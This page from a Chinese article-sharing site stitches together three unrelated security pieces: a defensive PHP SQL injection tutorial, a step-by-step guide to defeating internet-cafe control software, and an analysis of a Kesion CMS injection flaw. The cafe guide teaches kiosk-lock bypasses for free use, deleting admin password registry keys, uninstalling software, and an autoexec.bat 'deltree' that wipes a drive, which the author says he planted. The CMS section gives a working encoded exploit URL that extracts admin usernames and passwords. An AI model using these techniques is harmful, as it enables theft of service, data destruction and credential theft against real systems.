51阅读吧 - 为您打造专业优质的文章分享平台!
您的当前位置: 51阅读吧 >

申请注册送体验金

NO.1 PHP与MySQL中的SQL注入式漏洞

SQL注入式漏洞是许多PHP程序的主要安全危害,产生的原因是在向数据库执行插入等语句时,web开发者允许最终用户操作变量(例如根据表单提交内容显示相应信息),通常是_GET、_POST或_SESSION等全局变量。

让我们看以下的代码:

以下为引用的内容: <?PHP
query = "Select news_title, news_text ";
query .= "FROM news";
query .= "Where news_id=". _GET['id'];

mysql_query(query);
?>

如果认为其中的_GET[‘id’]会永远是个数值型的值那将是很严重的错误。最终用户可以改变这个变量的值,例如"0; Delete FROM news;",那么query语句就会变成下面的值:

Select news_title, news_text FROM news Where news_id=0; Delete FROM news;

这将产生很严重的后果。

验证数值型数据

数值型数据是最容易验证的,PHP有一个自带的函数叫 is_numeric()可以返回ture值来判断是否是数值型,这个函数并不是MySQL自带的,因此可在任何数据库平台的php程序中用于验证数字。

下面是修改后的代码:

以下为引用的内容: <?PHP
if (!is_numeric(_GET['id']))
{
// id's not numeric?
// kill the script before the query can run
die("The id must be numeric!");
}

query = "Select news_title, news_text ";
query .= "FROM news";
query .= "Where news_id=". _GET['id'];

mysql_query(query);
?>

验证非数值型数据

非数值型数据的验证稍有点麻烦。PHP有个叫Magic Quotes的特殊功能。当它激活时,PHP会自动过滤掉_GET和_POST全局变量中的反斜线符号(),双引号(”),单引号(’)和空白字符。问题是并不是所有的服务器都能打开了这个功能,所以必须检测服务器是否开通了这个功能。可以使用get_magic_quotes_gpc()函数来判定maigc quotes功能是否打开。
在MySQL查询语句可以使用mysql_real_escape_string()函数来增强安全性,代码如下:

以下为引用的内容: <?PHP
// Fix a _POST variable called firstName for MySQL
firstName = _POST['firstName'];
if (get_magic_quotes_gpc())
{
// If magic quotes is enabled - turn the string back into an unsafe string
firstName = stripslashes(firstName);
}

// Now convert the unsafe string into a MySQL safe string
firstName= mysql_real_escape_string(firstName);

// firstName should now be safe to insert into a query
?>

输出到页面

为正确显示字符中的引号和反斜线,应使用stripslashes()函数

以下为引用的内容: <?PHP
firstName = _POST['firstName'];
if (get_magic_quotes_gpc())
{
// If magic quotes is enabled - turn the string back into an unsafe string
firstName = stripslashes(firstName);
}

// Now convert the unsafe string into a MySQL safe string
firstName = mysql_real_escape_string(firstName);

// Safe query
mysql_query("Insert INTO Names VALUES('". firstName ."')");

// Page output should look proper
echo "Hello ". htmlentities(stripslashes(firstName));
?>

最终整合

最后可以建立一个简单的函数来解决在PHP中如果安全的进行MySQL查询字符。值得注意的是,如果要输出到WEB页面上还需要使用stripslashes。

以下为引用的内容: <?PHP
function VerifyInput(input, forceInt = false)
{
if (is_numeric(input))
{
return input;
}
elseif (!forceInt)
{
if (get_magic_quotes_gpc())
{
// if magic quotes is enabled, get rid of those
// pesky slashes
input = stripslashes(input);
}

// convert the input variable into a MySQL safe string.
input = mysql_real_escape_string(input);

return input;
}
else
{
// if input not an integer and forceInt = true,
// kill script
die("Invalid Input");
}
}

// _POST['name'] should be a string
// _POST['id'] should be an integer, if not the script dies
id = _POST['id'];
name = _POST['name'];

query = "Update users SET name=". VerifyInput(name) ." ";
query .= "Where id=". VerifyInput(id, true);

// query should be safe to run
mysql_query(query);
?>

NO.2 菜鸟的网吧常见漏洞入侵


第一课 首先试试“安全模式”漏洞。
  到网吧后开机(不要管理员解锁),一会儿屏幕出现“Starting Windows ……”时,按下"F5"键启动到“安全模式”,在“开始”→“运行”框中输入“msconfig”(回车),打开“系统配置实用程序”,用鼠标单击“启动”标签,去掉所有与网管软件有关的项,也可以在运行框中输入“regedit”打开注册表,删除注册表“HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun”下的相关键值,更残忍的干脆把网管软件给卸载掉,重新启动计算机后,就可以免费上网了。是不是很简单?不过可要当心网吧老板!如果“F5”键被屏蔽了,则应该先修改“msdos.sys”。看看下面的“输入法”漏洞,大家就知道怎么修改了。
第二课(本课以“网吧管理专家”为例)
  照样先开机(启动过程别按“F5”),没有让管理员解锁的计算机在桌面上有一密码框,是用于验证用户身份的。这里分为会员和管理员,两种身份分别具有不同的使用权限。我不是管理员,所以我不知道管理员密码,在座有哪位知道的?(你不用拼命摇头啦!)没有密码照样能进入!我们可以绕到密码框后面去。用鼠标单击“会员卡号”框,利用“ctrl shift”或“Ctrl Space(空格键)”调出输入法,然后随意输入一个字母,在弹出的输入框上单击鼠标右键,看看有没有“帮助”。没有的话就用“Ctrl Shift”切换输入法,直到找出“帮助”后单击它。鼠标的移动范围被限制了,可以这样破解它:按下“Alt Space”,在弹出的标题栏菜单上(用键盘)选择“移动”,再回车两下就OK了。基础打好了,现在让我们看看这个网吧里有什么好东东,用鼠标单击“帮助”的标题栏图标(有一种帮助没有这个图标,这种帮助好像没什么利用价值)。打开控制菜单后,再单击“跳至 URL(J) ...”,在弹出的输入框中输入网址或盘符都可以,先去C盘看看,输入“C:”或“file:///C:/”。我找…… 似乎没什么好玩的。你看那网管软件,就放在这么显眼的地方,也不怕被人执行“Uninstall.exe”。…… 下面就开始上网了。:)去“新浪”逛逛,打开“跳至 URL(J)...”框,输入“www.sina.com.cn”(“回车”),大家让一让,发生什么事了?网页内容竟然在“帮助”里显示出来了!如果要去雅虎网站,还得再单击“跳至 URL(J) ...”,麻烦了点,不如去桌面上找个IE更方便些,这次还是得单击“跳至 URL(J)...”,输入“c:windowsdesktop”(回车),或者在刚才打开的c盘上任意选择一个文件夹,按“shift Enter(回车)”,调出资源管理器,也可以到达桌面。
  有些人想要管理员密码,你可以自已来设置一个,我惯用的方法是:打开注册表,删除“[Hkey_Local_MachineSoftware万象幻境专家系列管理软件]”下的键名“计算机解锁密码”和“运行设置程序密码”的键值(另外还有其他的密码,均已被编译,要删除就随你便啦!)改完后退出注册表并重新启动计算机,密码框不见了,然后依次单击“开始→设置→运行设置程序”,倘若你觉得该网吧限制太高,不妨把它设置低一点。如果注册表编辑器被禁止,就当我上面的话没说,我们可以用这种方法破解:
  1.在IE地址栏内输入“c:”,回车。
  2.单击“文件”菜单,新建一份文本文档,输入如下代码:
以下是代码片段:
 Regedit4
  [HKEY_USERS.DEFAULTSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
"DisableRegistryTools"=dword:01000000
  将文件另存为“1.reg”,把它双击安装后就可以使用注册表编辑器了。刚才提到怎样解除“F5”的限制,利用“帮助”漏洞来解除可以,但是我想利用“快速提示”漏洞。
第三课 “输入法”中的“快速提示”漏洞
  这节课教大家什么?嗯!是“输入法”中的“快速提示”漏洞,目前仅有“五笔加加”输入法有这个漏洞。照上节课教的,不过这次要大家找的是“快速提示”,而不是“帮助”,切换输入法,找到“快速提示”后单击它,这时出现一个IE窗口(不是太菜的你应该知道干什么用的,上网用的呗!),鼠标移动范围被限制了,破解它(上节课教过了,但是如果IE窗口是最大化的,则应该先在控制菜单中选择“恢复为小窗口”后再“移动”,再按“回车”),这样便可免费上网了,需要打开桌面,最简单的方法是:在IE地址栏上输入“桌面”(回车)。回顾一下第一节课主要说了什么……嗯!利用“F5”漏洞免费上网,大多被屏蔽掉了,第二节课说过要利用“快速提示”漏洞来解除它。怎么做呢?(大家笔拿起来做些笔记),“msdos.sys”文件在C盘根目录下一般是以“隐藏”和“只读”形式储存的,我们需要先去掉它的“只读”属性,要不然无法对它做任何修改,在IE地址栏上输入“file:///C:/command.com”回车,打开“ms-dos方式”,在提示符下输入 “attrib -r c:msdos.sys”(回车)以去掉“只读”属性,再返回到IE地址栏上输入“file:///C:/msdos.sys”(回车),把“打开方式”设为“记事本”,把“option”下的“BootKeys”的值改为“1”,保存退出。重新启动计算机便可使修改生效。
  上面讲的都是以“网吧管理专家”网管软件为例,如果是“美萍”控制的计算机,得先打开“开始→会员登陆”,接下来与“网吧管理专家”操作过程相同。再补充一点,其实免费上网还有一种方法,不过成功率不高,就是使网管软件出错,我是用键盘上的“Ctrl、Shift、Alt”三个键中任一键或任两键配合其他键狂按,结果网管软件报错退出,“我的电脑”和“回收站”等都出现在桌面上了。
第四课 一些破坏网吧数据的方法(那位耳朵伸得那么长,想必是网德不善者)。
  破坏1(破坏级别:中):
  
  在IE“地址栏”或“jump to URL”中输入“file:///c:/windows/control.exe”,打开“控制面板→ 添加/删除程序”,卸载掉你“感兴趣”的应用程序。
  破坏2(破坏级别:中→高):
  
  为了防止文件被删除,网管软件一般都屏蔽了鼠标右键,并且连键盘上的“Delete”和“Shift Delete”也无效,不过据我所知,在“网吧管理专家”控制下的数据可以用“Ctrl D”来删除。 so.bitsCN.com网管资料库任你搜
  破坏3(破坏级别:高):
  修改C盘根目录下的“autoexec.bat”文件为如下代码:
以下是代码片段:
@echo off
  path=c:windows;c:windowscommand
  smartdrv >nul
  deltree /y D:. >nul
  这些代码是我前段时间在某网吧里预留的,后果只是使硬盘D分区的数据全部丢失而已,但计算机仍可启动(因为操作系统被装在C盘),若将第四段代码的“D:”改为“C:”,有什么后果?你试试就知道了,像我这样心地善良,乐于助人的人,是不会那么做的。

NO.3 Kesion cms注入漏洞分析及其修复方案

函数过滤混乱导致注入


Dim KS:Set KS=New PublicCls
Dim Action
Action=KS.S("Action")
Select Case Action
Case "Ctoe" CtoE
Case "GetTags" GetTags
Case "GetRelativeItem" GetRelativeItem //问题函数
...skip...
Case "getonlinelist" getonlinelist
End Select
Sub GetRelativeItem() //漏洞函数开始
Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只调用ks.s函数,无其它过滤。
Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
Dim RKey:Rkey=lcase(KS.G("Rkey"))
Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
Dim ID:ID=KS.ChkClng(KS.G("ID"))
Dim Param,RS,SQL,k,SqlStr
If Key<>"" Then
If (Rtitle="true" Or RKey="true") Then
If Rtitle="true" Then
param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。
end if
If Rkey="true" Then
If Param="" Then
Param=Param & " keywords like '%" & key & "%'"
Else
Param=Param & " or keywords like '%" & key & "%'"
End If
End If
Else
Param=Param & " keywords like '%" & key & "%'"
End If
End If
If Param<>"" Then
Param=" where InfoID<>" & id & " and (" & param & ")"
else
Param=" where InfoID<>" & id
end if
If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID
Param=Param & " and verific=1"
SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询
Set RS=Server.CreateObject("ADODB.RECORDSET")
RS.Open SqlStr,conn,1,1
If Not RS.Eof Then
SQL=RS.GetRows(-1)
End If
RS.Close


 先进行了过滤,然后才调用UnEscape解码,
 


Public Function S(Str)
S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
Function DelSql(Str)
Dim SplitSqlStr,SplitSqlArr,I
SplitSqlStr=""
SplitSqlArr = Split(SplitSqlStr,"|")
For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
If Instr(LCase(Str),SplitSqlArr(I))>0 Then
Die "<script>alert('系统警告!nn1、您提交的数据有恶意字符" & SplitSqlArr(I) &";n2、您的数据已经被记录;n3、您的IP:"&GetIP&";n4、操作日期:"&Now&";n Powered By Kesion.Com!');window.close();</script>"
End if
Next
DelSql = Str
End Function


 如果配合Unescape()函数,刚过滤不会生效。可以采用unicode编码方式,则不会在浏览器中出现被过滤的字符。例如,单引号可以编码为。%2527,经过解码后还是“'”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。
注入语句:%') union select 1,2,username+'|'+ password from KS_Admin
 转换如下:
 /plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
 修复方案:
UnEscape()函数调用位置放在函数体内,或者不调用。
上一篇:狐假虎威文言文翻译|文言文 狐假虎威 翻译 和道理 上一篇:国际商务韩语等级考试|09年5月国际商务英语等级考试(初级)试卷及答案36
与该文相关的文章

温馨提示:如果您对51阅读吧有任何建议,请通过网站联系邮箱向我们反馈,感谢各位的建议与支持!